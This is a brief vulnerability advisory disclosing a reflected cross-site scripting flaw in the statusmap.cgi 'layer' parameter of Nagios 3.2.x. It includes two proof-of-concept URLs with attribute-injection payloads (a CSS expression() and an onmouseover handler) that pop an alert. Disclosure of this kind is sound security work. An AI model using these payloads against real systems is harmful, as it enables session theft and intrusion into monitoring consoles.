Advisory: Cross-Site Scripting vulnerability in Nagios
Advisory ID: SSCHADV2011-002
Author: Stefan Schurtz
Affected Software: Successfully tested on: nagios-3.2.0 / nagios-3.2.3
Vendor URL: http://www.nagios.org
Vendor Status: ID 0000207: Cross-Site Scripting vulnerability in Nagios
CVE-ID: -
This is Cross-Site Scripting vulnerability
JavaScript can be included in style sheets by using "expression()" (IE only)
The function "strip_html_brackets" strip > and < from string but it's not enough
to prevent XSS attacks in "statusmap.cgi&layer="
http://site/nagios/cgi-bin/statusmap.cgi?layer='
style=xss:expression(alert('XSS')) '
http://site/nagios/cgi-bin/statusmap.cgi?layer=' onmouseover="alert('XSS')" '
[schnipp]